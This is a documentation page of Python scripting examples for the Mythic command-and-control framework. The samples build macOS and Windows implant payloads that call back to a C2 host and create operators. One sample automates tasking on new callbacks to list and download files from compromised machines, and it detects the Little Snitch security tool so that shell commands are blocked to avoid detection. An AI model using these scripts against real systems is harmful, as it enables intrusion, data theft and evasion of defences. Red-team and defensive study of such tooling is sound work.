Scripting Examples

Search…
Scripting Examples
What is this page?
This is a small repository of sample code doing common scripting actions to serve as a reference for operators and developers.
Assumptions
This page assumes that every script has the same following basic outline and will only reference the main script driver (the scripting function) and any additional functions created to help support the desired outcome:
1
from mythic import mythic_rest
2
from sys import exit
3
from os import system
4
import asyncio
5
​
6
​
7
async def scripting():
8
    # sample login
9
    # we'll always include this function
10
    
11
​
12
# everything below here is expected as a staple at the end of your program
13
# this launches the functions asynchronously and keeps the program running while long-running tasks are going
14
async def main():
15
    await scripting()
16
    try:
17
        while True:
18
            pending = asyncio.Task.all_tasks()
19
            plist = []
20
            for p in pending:
21
                if p._coro.__name__ != "main" and p._state == "PENDING":
22
                    plist.append(p)
23
            if len(plist) == 0:
24
                exit(0)
25
            else:
26
                await asyncio.gather(*plist)
27
    except KeyboardInterrupt:
28
        pending = asyncio.Task.all_tasks()
29
        for t in pending:
30
            t.cancel()
31
​
32
loop = asyncio.get_event_loop()
33
loop.run_until_complete(main())
34
​
Copied!
Logging in and getting info about our operator:
1
from mythic import mythic_rest
2
async def scripting():
3
    # sample login
4
    mythic = mythic_rest.Mythic(
5
        username="mythic_admin",
6
        password="mythic_password",
7
        server_ip="192.168.205.151",
8
        server_port="7443",
9
        ssl=True,
10
        global_timeout=-1,
11
    )
12
    print("[+] Logging into Mythic")
13
    await mythic.login()
14
    me = await mythic.get_self()
15
    await mythic_rest.json_print(me)  # information about us
16
    my_op = await mythic.get_current_operation_info()
17
    await mythic_rest.json_print(my_op)  # information about our current operation
Copied!
Creating and downloading an apfell payload:
1
from mythic import mythic_rest
2
async def scripting():
3
    # sample login
4
    mythic = mythic_rest.Mythic(
5
        username="mythic_admin",
6
        password="mythic_password",
7
        server_ip="192.168.205.151",
8
        server_port="7443",
9
        ssl=True,
10
        global_timeout=-1,
11
    )
12
    print("[+] Logging into Mythic")
13
    await mythic.login()
14
    await mythic.set_or_create_apitoken()
15
    # define what our payload should be
16
    p = mythic_rest.Payload(
17
        # what payload type is it
18
        payload_type="apfell", 
19
        # define non-default c2 profile variables
20
        c2_profiles={
21
            "http":[
22
                    {"name": "callback_host", "value": "http://192.168.205.151"},
23
                    {"name": "callback_interval", "value": 4}
24
                ]
25
            },
26
        # give our payload a description if we want
27
        tag="test build",
28
        selected_os="macOS",
29
        # if we want to only include specific commands, put them here:
30
        #commands=["cmd1", "cmd2", "cmd3"],
31
        # what do we want the payload to be called
32
        filename="scripted_apfell.js")
33
    print("[+] Creating new apfell payload")
34
    # create the payload and include all commands
35
    # if we define commands in the payload definition, then remove the all_commands=True piece
36
    resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
37
    print("[*] Downloading apfell payload")
38
    # payload_contents is now the raw bytes of the payload
39
    payload_contents = await mythic.download_payload(resp.response)
40
    with open("my_output", "wb") as f:
41
        f.write(payload_contents)  # write out to disk
Copied!
Creating an atlas payload:
1
from mythic import mythic_rest
2
async def scripting():
3
    # sample login
4
    mythic = mythic_rest.Mythic(
5
        username="mythic_admin",
6
        password="mythic_password",
7
        server_ip="192.168.205.151",
8
        server_port="7443",
9
        ssl=True,
10
        global_timeout=-1,
11
    )
12
    print("[+] Logging into Mythic")
13
    await mythic.login()
14
    await mythic.set_or_create_apitoken()
15
    p = mythic_rest.Payload(
16
        payload_type="atlas", 
17
        c2_profiles={
18
            "http":[
19
                    {"name": "callback_host", "value": "http://192.168.205.151"},
20
                    {"name": "callback_interval", "value": 4}
21
                ]
22
            },
23
        build_parameters=[
24
            {
25
                "name": "version", "value": 4.0
26
            },
27
            {
28
                "name": "output_type", "value": "WinExe"
29
            }
30
        ],
31
        tag=".NET EXE",
32
        selected_os="Windows",
33
        filename="atlas.exe")
34
    resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
35
    payload_contents = await mythic.download_payload(resp.response)
Copied!
Creating users and adding them to an operation:
1
from mythic import mythic_rest
2
async def scripting():
3
    # sample login
4
    mythic = mythic_rest.Mythic(
5
        username="mythic_admin",
6
        password="mythic_password",
7
        server_ip="192.168.205.151",
8
        server_port="7443",
9
        ssl=True,
10
        global_timeout=-1,
11
    )
12
    print("[+] Logging into Mythic")
13
    await mythic.login()
14
    await mythic.set_or_create_apitoken()
15
    # define our operator
16
    new_operator = mythic_rest.Operator(username="new_operator", password="password1234")
17
    # create them
18
    new_operator_resp = await mythic.create_operator(new_operator)
19
    # reference our operation
20
    operation = mythic_rest.Operation(name="Operation Chimera")
21
    # add the user to our operation
22
    await mythic.add_or_update_operator_for_operation(operation=operation, operator=new_operator_resp.response)
Copied!
Take actions on new callback:
This script waits for new callbacks, then executes a function which:
Issues the ls command, parses that output for specific files and if they exist, downloads them
Issues the list_apps function and searches for dangerous processes. If one is found, gets/creates a new blocked command list and applies it to the operators
1
from mythic import mythic_rest
2
async def scripting():
3
    # sample login
4
    mythic = mythic_rest.Mythic(
5
        username="mythic_admin",
6
        password="mythic_password",
7
        server_ip="192.168.205.151",
8
        server_port="7443",
9
        ssl=True,
10
        global_timeout=-1,
11
    )
12
    print("[+] Logging into Mythic")
13
    await mythic.login()
14
    await mythic.set_or_create_apitoken()
15
    # define a function to execute on new callback
16
    await mythic.listen_for_new_callbacks(analyze_callback)
17
    
18
async def analyze_callback(mythic, callback):
19
    # function gets an intance of mythic and the callback object
20
    try:
21
    # create a new task to execute on this callback
22
        task = mythic_rest.Task(
23
            callback=callback, command="ls", params="."
24
        )
25
        print("[+] got new callback, issuing ls")
26
        submit = await mythic.create_task(task, return_on="completed")
27
        print("[*] waiting for ls results...")
28
        # wait up to 20s for the task to finish and get all the responses from it
29
        results = await mythic.gather_task_responses(submit.response.id, timeout=20)
30
        # results is now an array of responses
31
        folder  = json.loads(results[0].response)
32
        print("[*] going through results looking for interesting files...")
33
        for f in folder["files"]:
34
            if f["name"] == "apfellserver":
35
                task = mythic_rest.Task(
36
                    callback=callback, command="download", params="apfellserver"
37
                )
38
                print("[+] found an interesting file, tasking it for download")
39
                await mythic.create_task(task, return_on="submitted")
40
        task = mythic_rest.Task(
41
            callback=callback, command="list_apps"
42
        )
43
        print("[+] tasking callback to list running applications")
44
        # return_on="submitted" means don't wait for responses
45
        list_apps_submit = await mythic.create_task(task, return_on="submitted")
46
        print("[*] waiting for list_apps results...")
47
        # instead, we'll manually gather tasks until the task is completed or errors out
48
        results = await mythic.gather_task_responses(list_apps_submit.response.id)
49
        # gather responses returns an array of responses
50
        apps = json.loads(results[0].response)
51
        print("[*] going through results looking for dangerous processes...")
52
        for a in apps:
53
            if "Little Snitch Agent" in a["name"]:
54
                list_apps_submit.response.comment = "Auto processed, created alert on Little Snitch Agent, updating block lists"
55
                await mythic.set_comment_on_task(list_apps_submit.response)
56
                print("[+] found a dangerous process! Little Snitch Agent - sending alert to operators")
57
                await mythic.create_event_message(message=mythic_rest.EventMessage(message="LITTLE SNITCH DETECTED on {}".format(callback.host), level='warning'))
58
                resp = await mythic.get_all_disabled_commands_profiles()
59
                print("[+] Getting/creating disabled command profile to prevent bad-opsec commands based on dangerous processes")
60
                snitchy_block_list_exists = False
61
                for cur_dcp in resp.response:
62
                    if cur_dcp.name == "snitchy block list":
63
                        snitchy_block_list_exists = True
64
                        dcp = cur_dcp
65
                if not snitchy_block_list_exists:
66
                    dcp = mythic_rest.DisabledCommandsProfile(name="snitchy block list", payload_types=[
67
                        PayloadType(ptype="apfell", commands=["shell", "shell_elevated"]),
68
                        PayloadType(ptype="poseidon", commands=["shell"])
69
                    ])
70
                    resp = await mythic.create_disabled_commands_profile(dcp)
71
                current_operation = (await mythic.get_current_operation_info()).response
72
                for member in current_operation.members:
73
                    print("[*] updating block list for {}".format(member.username))
74
                    resp = await mythic.update_disabled_commands_profile_for_operator(profile=dcp, operator=member, operation=current_operation)
75
​
76
    except Exception as e:
77
        print(str(e))
Copied!
Send a warning message for the operation:
1
from mythic import mythic_rest
2
async def scripting():
3
    # sample login
4
    mythic = mythic_rest.Mythic(
5
        username="mythic_admin",
6
        password="mythic_password",
7
        server_ip="192.168.205.151",
8
        server_port="7443",
9
        ssl=True,
10
        global_timeout=-1,
11
    )
12
    print("[+] Logging into Mythic")
13
    await mythic.login()
14
    await mythic.set_or_create_apitoken()
15
    await mythic.create_event_message(message=mythic_rest.EventMessage(message="DANGER, WILL ROBINSON", level='warning'))
Copied!
Scripting
Scripting Operations
Last modified 3mo ago
Copy link
Contents
What is this page?
Assumptions
Logging in and getting info about our operator:
Creating and downloading an apfell payload:
Creating an atlas payload:
Creating users and adding them to an operation:
Take actions on new callback:
Send a warning message for the operation: